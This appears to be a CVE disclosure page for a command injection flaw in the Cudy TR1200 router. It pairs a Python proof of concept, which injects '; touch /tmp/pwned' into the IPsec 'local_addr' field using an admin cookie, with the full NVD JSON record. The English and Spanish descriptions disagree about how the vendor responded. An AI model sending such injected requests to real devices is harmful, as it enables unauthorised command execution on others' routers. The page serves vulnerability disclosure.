CVE-2026-4537

#!/usr/bin/env python3 # PoC for CVE-2026-4537 (Command Injection in Cudy TR1200) # Requires High Privileges (Admin Login) import requests # Target URL (adjust IP accordingly) target_url = "http://192.168.1.1/cgi-bin/luci/admin/vpn/ipsec" # Attacker's IP or command to verify execution # Example: creating a file or pinging an external host injected_command = "; touch /tmp/pwned" # Login credentials (High Privileges required) payload_data = { "cbi.submit": "Save", "action_ipsec_conn": "test_conn", # Injecting payload into a vulnerable field "local_addr": injected_command } # Session cookie obtained after authentication cookies = { "sysauth": "<admin_cookie_value>" } try: response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if the command was executed on the target.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-4537", "sourceIdentifier": "[email protected]", "published": "2026-03-22T05:16:20.063", "lastModified": "2026-04-29T07:16:03.380", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Cudy TR1200 R46-2.4.15-20250721-164017. Impacted is the function action_ipsec_conn of the file /usr/bin/lib/lua/luci/controller/ipsec.lua. Executing a manipulation can lead to command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. Upgrading the affected component is advised. The vendor explains, that \"some other customer has reported this to us before. And we have fixed this.\""}, {"lang": "es", "value": "Se determinó una vulnerabilidad en Cudy TR1200 R46-2.4.15-20250721-164017. Se ve afectada la función action_ipsec_conn del archivo /usr/bin/lib/lua/luci/controller/ipsec.lua. La ejecución de una manipulación puede llevar a una inyección de comandos. El ataque puede lanzarse de forma remota. El exploit ha sido divulgado públicamente y puede ser utilizado. El proveedor fue contactado tempranamente sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/qazmn/my_cve/blob/main/cudy_cve/Cudy_TR1200_Command_Injection.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/774447", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/352325", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/352325/cti", "source": "[email protected]"}]}}